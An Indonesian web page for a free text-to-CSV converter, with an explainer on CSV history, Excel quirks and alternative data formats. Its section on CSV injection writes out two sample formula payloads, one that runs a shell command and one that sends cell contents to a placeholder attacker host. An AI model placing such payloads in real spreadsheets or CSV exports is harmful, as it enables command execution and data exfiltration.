Konverter Teks ke CSV Gratis
Konversi data teks tabular ke format CSV. Deteksi pemisah otomatis, penanganan tanda kutip, dan pratinjau sebelum unduhan.
Tentang format CSV
CSV (Comma-Separated Values, nilai dipisahkan koma) adalah format teks sederhana untuk menyimpan data tabular. Setiap baris mewakili satu rekaman, dan nilai-nilai dipisahkan oleh koma. CSV didukung secara luas oleh aplikasi spreadsheet, basis data, dan alat analisis.
Mengapa mengonversi ke CSV?
- Portabilitas data · konversikan dari format teks apa pun ke CSV, mudah diimpor ke spreadsheet.
- Format universal · CSV didukung oleh Excel, Google Sheets, basis data, dan alat pemrograman.
- Pembersihan data · standarisasi pemisah dan format yang tidak konsisten.
- API dan otomatisasi · CSV ideal untuk operasi massal dan integrasi.
- Format arsip · simpan data tabular dalam format yang dapat dibaca dan independen platform.
Pertanyaan yang sering diajukan
Pemisah apa yang didukung alat ini?
Alat mendeteksi otomatis tab, spasi, koma, titik koma, dan garis vertikal. Anda juga dapat menetapkan pemisah kustom satu karakter.
Bagaimana menangani bidang yang berisi koma?
Aktifkan opsi «Beri tanda kutip pada bidang yang berisi koma» untuk membungkusnya dengan tanda kutip, agar sesuai dengan CSV.
Bisakah saya menyertakan header?
Ya, aktifkan opsi «Sertakan baris header» jika baris pertama Anda berisi nama kolom.
Sejarah singkat CSV, lebih tua dari spesifikasi yang mendefinisikannya
CSV adalah format yang digunakan semua orang dan tidak dimiliki siapa pun. Asal usulnya bersifat informal. Penggunaan terdokumentasi paling awal dari konvensi comma-separated berasal dari 1972, ketika IBM Fortran (level H extended) mendukung input/output list-directed di mana koma berfungsi sebagai pemisah antara nilai-nilai dalam satu baris. Sepanjang 1970-an dan 1980-an, setiap database, spreadsheet, paket statistik, dan aplikasi akuntansi yang perlu bertukar data dengan alat lain secara mandiri menemukan semacam varian dari «nilai-nilai yang dipisahkan oleh karakter tertentu pada baris yang dipisahkan oleh karakter tertentu lainnya.» Tidak ada spesifikasi. Tidak ada badan pengatur. Tidak ada implementasi kanonik. Hanya ada konsensus, dalam artian yang paling longgar mungkin.
Pada awal 2000-an, biaya dari kekacauan ini tidak bisa lagi diabaikan. IETF akhirnya menerima sebuah spesifikasi, RFC 4180, «Common Format and MIME Type for Comma-Separated Values (CSV) Files,» yang diterbitkan pada Oktober 2005 oleh Yakov Shafranovich. RFC 4180 singkat, hanya beberapa halaman, dan mengkodifikasi apa yang sudah disepakati oleh sebagian besar orang: koma sebagai pemisah field, tanda kutip ganda sebagai karakter penutup opsional untuk field yang berisi koma, tanda kutip, atau baris baru, tanda kutip ganda berlipat ("") sebagai cara untuk mengapit tanda kutip literal di dalam field yang diapit, CRLF sebagai terminator baris, dan text/csv sebagai tipe MIME yang didaftarkan ke IANA. Spesifikasi ini juga mendefinisikan parameter header opsional untuk tipe MIME agar pengirim dapat memberi tahu penerima apakah baris pertama adalah baris header.
RFC 4180 bersifat informasional, bukan standar ketat. Kepatuhannya bersifat sukarela. Namun ia memberi kita target, hal yang paling mendekati definisi «benar» yang dimiliki CSV. Dokumen berikutnya, W3C «Model for Tabular Data and Metadata on the Web» (CSVW, 2015), mencoba memperluas kisah metadata untuk CSV dengan melampirkan sidecar JSON yang menjelaskan apa setiap kolom dan cara menginterpretasinya. CSVW banyak dikutip dan jarang diterapkan.
«CSV» di lapangan tidak berarti apa yang dikatakan RFC 4180
Siapa pun yang pernah menerima CSV dari orang asing tahu bentuk masalahnya. Ketidaksepakatan terpecah ke beberapa sumbu:
- Karakter pemisah. RFC 4180 menyebutkan koma. Instalasi Excel Eropa di negara-negara yang menggunakan koma sebagai pemisah desimal (sebagian besar Eropa daratan, Prancis, Jerman, Italia, Spanyol, Belanda, Brasil) secara default menulis CSV dengan titik koma sebagai pemisah, karena menggunakan koma akan bertabrakan dengan nilai numerik seperti
3,14untuk π. Ekstensi filenya tetap.csv; tipe MIME-nya tetaptext/csv; isinya bukan yang diharapkan oleh penerima dari Amerika atau Inggris. - Pengapitan (Quoting). RFC 4180 menyatakan bungkus dalam tanda kutip ganda ketika suatu field berisi pemisah, tanda kutip, atau baris baru; gandakan tanda kutip yang tertanam (sehingga
He said "hi"menjadi"He said ""hi"""). Dalam praktiknya, banyak penulis mengapit semuanya (paranoid), sebagian tidak mengapit apa pun (dan rusak begitu koma muncul), dan beberapa menggunakan escape dengan garis miring terbalik (\"), konvensi C yang merusak parser yang sesuai RFC. - Akhir baris. RFC 4180 mewajibkan CRLF (
\r\n). Excel di Windows menghasilkan CRLF. Excel pada Mac klasik menghasilkan CR (\r) saja. Sebagian besar alat Unix dan Linux menghasilkan LF (\n). Ketiganya muncul dalam file berlabel.csvdan variasi ini merusak parser yang mengkode keras satu ekspektasi. - Baris baru di akhir. Beberapa penulis mengakhiri record terakhir dengan pemisah baris; yang lain tidak. Parser yang menghitung record dengan menghitung pemisah baris melaporkan error off-by-one tergantung pada input.
- Header. File di lapangan terbagi kira-kira setengah-setengah. Tipe MIME mengizinkan parameter
header=present, tetapi tidak ada yang mengirim header MIME ketika mengirimkan CSV lewat email, sehingga Anda harus menebak.
Jebakan BOM
Ini layak mendapat bagiannya sendiri karena ini adalah sumber paling umum dari masalah CSV lintas platform. Microsoft Excel tidak akan mendeteksi secara otomatis CSV yang dikodekan UTF-8 kecuali file dimulai dengan byte order mark UTF-8: tiga byte EF BB BF, yang mengkodekan karakter Unicode U+FEFF. Tanpa BOM, Excel membuka file dalam halaman kode warisan dari lokal Windows pengguna (Windows-1252 di Barat, Shift_JIS di Jepang, GBK di Tiongkok daratan). Karakter non-ASCII apa pun (huruf beraksen, simbol mata uang, emoji, karakter CJK) akan rusak.
Solusinya adalah menambahkan BOM di awal. Biayanya adalah semua hal lain tersedak olehnya. Apple Numbers (hingga versi terbaru) menampilkan BOM sebagai karakter literal di sel pertama. Banyak alat command-line (awk, cut, sed yang lebih lama) memperlakukan BOM sebagai bagian dari field pertama, sehingga header yang seharusnya terbaca name terbaca name. Sebagian besar parser CSV JavaScript menghapusnya; banyak alur kerja modul csv Python yang lebih lama tidak (Anda harus membuka file dengan codec utf-8-sig). Karena alat online gratis tidak dapat mengetahui di mana pengguna akan membuka file, menghilangkan BOM dan mendokumentasikan bahwa pengguna Excel harus menggunakan Data → From Text/CSV (yang selalu membiarkan pengguna memilih UTF-8 secara eksplisit) adalah default yang masuk akal.
Excel mengirimkan setidaknya empat format «CSV»
Dialog «Save As» Excel menawarkan lebih dari satu varian CSV, dan perbedaannya penting:
- CSV (Comma delimited) (*.csv): menggunakan pemisah daftar lokal pengguna (koma di en-US/en-GB, titik koma di fr-FR/de-DE/es-ES/it-IT/pt-BR). Pengkodean adalah halaman kode ANSI warisan. Tanpa BOM. Akhir baris CRLF.
- CSV UTF-8 (Comma delimited) (*.csv): perilaku pemisah sama seperti di atas (masih dikendalikan lokal, terlepas dari namanya) tetapi dikodekan dalam UTF-8 dengan BOM. Diperkenalkan di Excel 2016.
- CSV (Macintosh) (*.csv): comma-separated, pengkodean MacRoman, akhir baris Mac klasik (hanya CR). Sebagian besar sudah usang tetapi masih muncul.
- CSV (MS-DOS) (*.csv): comma-separated, halaman kode OEM (CP437 di en-US, CP850 di Eropa Barat), CRLF.
Label yang ditampilkan kepada pengguna menyebutkan «CSV» dengan empat cara berbeda. Isi file sebenarnya berbeda secara material. Inilah realitas praktis tempat konverter ini beroperasi.
Mengapa mengonversi teks → CSV, khususnya
Sebagian besar «alat CSV» online berjalan dalam arah sebaliknya: ambil CSV, hasilkan sesuatu yang lain (JSON, tabel HTML, SQL INSERT, PDF yang dapat dicetak). Yang ini berjalan sebaliknya: ambil teks yang berantakan, hasilkan CSV yang bersih. Itulah kasus penggunaan untuk:
- Membersihkan daftar email menjadi baris spreadsheet. Operator CRM menyalin 800 email dari field BCC ke notepad. Setiap email perlu berada di barisnya sendiri dalam spreadsheet untuk diunggah ke alat mail-merge. Tempel, tambahkan header, unduh.
- Mengonversi tabel yang disalin dari PDF. Tabel PDF, ketika disalin, sering kali tiba sebagai teks di mana kolom-kolomnya dipisahkan oleh rangkaian spasi (atau tab, tergantung generator PDF). Pemisah yang fleksibel (termasuk «spasi berturutan») mengubah ini menjadi grid yang bersih.
- Merestrukturisasi output yang dihasilkan AI. Model bahasa besar suka menghasilkan tabel Markdown. Pengguna dapat menempel tabel Markdown; konverter mendeteksi pemisah pipa dan baris pemisah garis; outputnya adalah CSV yang sesungguhnya.
- Mengimpor log ke Excel atau Google Sheets. Format log gabungan Apache, record syslog, dan banyak log aplikasi berorientasi baris tetapi tidak secara native ramah spreadsheet. Konversi ke CSV, buka di spreadsheet, urutkan, filter, pivot.
- Menyiapkan data untuk pernyataan
COPYdatabase. PostgreSQL'sCOPY ... FROM STDIN WITH (FORMAT csv)membaca CSV secara langsung. Pengguna dengan daftar dalam file teks dapat menempel, mengonversi, dan\copyke dalam tabel tanpa menulis skrip loader. - Membangun CSV secara manual untuk operasi batch. Stripe, Mailchimp, Shopify, dan sebagian besar platform SaaS mengekspos impor CSV untuk operasi massal. Pengguna yang perlu memperbarui 30 harga produk secara manual membangun baris-barisnya; alat ini mengubah daftar yang mereka ketik menjadi CSV persis yang diharapkan platform tersebut.
Excel akan menulis ulang data Anda, terkadang secara diam-diam
Beberapa jebakan CSV menggigit bahkan pengguna yang berhati-hati:
- Angka nol di depan menghilang. Kode ZIP AS
01234terbuka sebagai1234. Kode ekstensi telepon0049terbuka sebagai49. Kode produk00ABCterbuka sebagaiABCjika Excel memutuskan kolom tersebut adalah teks di tengah jalan. Satu-satunya pertahanan yang andal adalah dengan menambahkan apostrof di depan (trik tampilan), pra-format kolom sebagai teks, atau menggunakan jalur impor Data → From Text/CSV Excel yang memungkinkan Anda mengunci tipe kolom. - Auto-konversi notasi ilmiah. String numerik panjang seperti
0123456789012menjadi1.23457E+11ketika Excel memutuskan itu adalah angka. Karakter aslinya hilang. Hal ini terkenal merusak dataset nama gen sehingga parah hingga Komite Nomenklatur Gen HUGO mengganti nama beberapa gen pada tahun 2020 khusus untuk menghindari koersi Excel; simbol gen seperti MARCH1, SEPT2, dan OCT4 ternyata berubah menjadi tanggal. - Auto-deteksi tanggal. Kolom yang berisi tanda kunci musik
3/4,4/4,6/8,7/8menjadi tanggal: 3 April, 4 April, 6 Agustus, 7 Agustus. Hal yang sama berlaku untuk nomor seri seperti1-1dan waktu seperti1:30. - Interpretasi heksadesimal.
0x1Adan0E5keduanya adalah representasi angka yang dikenali oleh Excel. Kolom alamat register atau kode senyawa kimia bisa bermutasi secara diam-diam. - Serangan CSV injection. Field yang dimulai dengan
=,+,-,@, atau tab/CR diinterpretasikan oleh Excel dan Google Sheets sebagai rumus. Nilai berbahaya seperti=cmd|'/c calc'!A0atau=HYPERLINK("https://evil.example/?d="&A1, "Click")dapat mengekstrak isi sel yang berdekatan atau menjalankan perintah shell tergantung pada pengaturan klien spreadsheet. Alat apa pun yang menghasilkan CSV dari teks yang dikirimkan pengguna harus mempertimbangkan untuk mengapit karakter rumus di depan. - Field yang diapit berisi baris baru. Field seperti
"Hello,\nworld"dengan baris baru literal di dalam tanda kutip adalah satu field yang mencakup dua baris di disk. Parser yang membagi pada baris baru terlebih dahulu kemudian pada koma akan secara diam-diam merusak data. Penguraian CSV yang benar adalah sebuah state machine, bukan dua kali pemisahan denganString.split.
Di mana alat ini berada di antara alternatif modern CSV
CSV bertahan karena ia adalah teks dan manusia dapat membacanya. Untuk pertukaran data serius, beberapa format telah mengambil alih posisinya pada dimensi tertentu:
- Apache Parquet. Format kolumnar biner. File berjenis, terkompresi, dan berorientasi kolom (sehingga
SELECT col1 FROM big_file.parquethanya membaca kolom itu dari disk). Default untuk beban kerja analitik; Snowflake, BigQuery, Databricks, dan Athena membacanya secara native. Pesaing terkuat untuk «apa yang seharusnya Anda gunakan sebagai pengganti CSV ketika Anda mengendalikan kedua ujung.» Biner, sehingga tidak memenuhi kasus penggunaan «saya bisa membacanya di editor teks». - JSON Lines (JSONL / NDJSON). Satu objek JSON per baris. Menggabungkan streamability CSV dengan struktur bertipe dan bersarang dari JSON. Banyak digunakan untuk ingesti log, dataset ML, dan aliran event. Trade-off: lebih verbose daripada CSV (setiap record mengulang setiap kunci).
- Apache Arrow IPC (Feather v2). Format biner dalam memori dan over-the-wire untuk data tabular, dirancang untuk pertukaran zero-copy antar proses dan bahasa. Banyak digunakan di dalam toolchain ilmu data (pandas, paket arrow R, Polars, DuckDB).
- Avro dan ORC. Format biner dengan skema dari ekosistem Hadoop. Kurang umum di luar rekayasa data.
Untuk konverter online gratis yang ditujukan bagi pengembang dan pekerja kantor, CSV tetap menjadi format output yang tepat karena ia adalah lingua franca impor data di mana-mana. Alternatif modern ada; mereka belum menggantikan CSV di kotak masuk.
Pertanyaan lainnya
Haruskah saya menambahkan UTF-8 BOM ke output?
Jika file ditujukan untuk double-click di Excel Windows, ya; tanpa BOM, Excel membukanya dalam halaman kode warisan dan merusak teks non-ASCII. Jika ditujukan untuk hal lain (Apple Numbers, skrip command-line, formulir unggah web), hilangkan BOM. Jalur paling aman adalah menghilangkan BOM dan menginstruksikan pengguna Excel untuk mengimpor melalui Data → From Text/CSV, di mana mereka dapat memilih UTF-8 secara eksplisit.
CSV saya terbuka dengan satu sel per baris di Excel, apa yang salah?
Hampir selalu ketidakcocokan pemisah. Anda berada di lokal di mana Excel mengharapkan titik koma (sebagian besar Eropa daratan), tetapi file menggunakan koma, atau sebaliknya. Buka dengan Data → From Text/CSV alih-alih double-click; wizard itu memungkinkan Anda memilih pemisah secara eksplisit. Atau simpan file dari menu Save As Excel menggunakan varian yang sesuai dengan pemisah lokal Anda.
Apa perbedaan antara TSV dan CSV?
TSV menggunakan karakter tab sebagai pemisah alih-alih koma, dengan tipe MIME-nya sendiri text/tab-separated-values dan registrasi IANA. Keuntungan TSV adalah data dunia nyata jarang berisi tab literal, sehingga pengapitan hampir tidak pernah diperlukan; kerugiannya adalah tab tidak terlihat di editor teks dan perilaku copy-paste bervariasi. Mesin pengapitan CSV membuatnya aman untuk field yang berisi pemisah; TSV sebagian besar menghindari masalah tersebut sama sekali.
Apakah ada CSV linter yang bisa saya jalankan sebelum berbagi file?
Ya, untuk penggunaan command-line, csvclean milik csvkit melaporkan baris dengan jumlah kolom yang salah. CLI frictionless milik Frictionless Data memvalidasi terhadap skema opsional. Untuk pekerjaan berbasis browser, PapaParse melaporkan error penguraian baris demi baris. Validasi ketat terhadap RFC 4180 (akhir baris CRLF, escape kutip-ganda berlipat) jarang terjadi dalam praktik; sebagian besar parser menerima varian umum mana pun.